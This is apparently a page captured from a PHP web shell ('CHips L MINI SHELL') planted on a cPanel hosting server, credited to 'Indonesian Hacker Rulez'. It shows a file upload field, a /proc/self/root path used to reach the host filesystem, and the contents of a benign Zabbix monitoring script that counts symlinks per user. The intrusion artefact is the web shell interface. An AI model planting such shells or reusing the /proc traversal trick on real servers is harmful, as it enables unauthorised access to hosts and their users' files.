CHips L MINI SHELL

CHips L pro

Current Path : /proc/3/task/3/cwd/proc/self/root/proc/3/root/opt/zabbix_scripts/
Upload File :
Current File : //proc/3/task/3/cwd/proc/self/root/proc/3/root/opt/zabbix_scripts/checkUserSymlinkCounts.sh

#!/bin/bash

declare -A cpanelUsersList=$(whmapi1 list_users | grep -E '\ *\-\ ' | awk '{print $2}' | grep -vE '^root$')

for cpanelUser in ${cpanelUsersList[@]}
do
   echo $cpanelUser `find /home/${cpanelUser}/public_html/ -type l | wc -l` | grep -vE '\ 0$'
done | sort -g -r -k 2

Copyright 2K16 - 2K18 Indonesian Hacker Rulez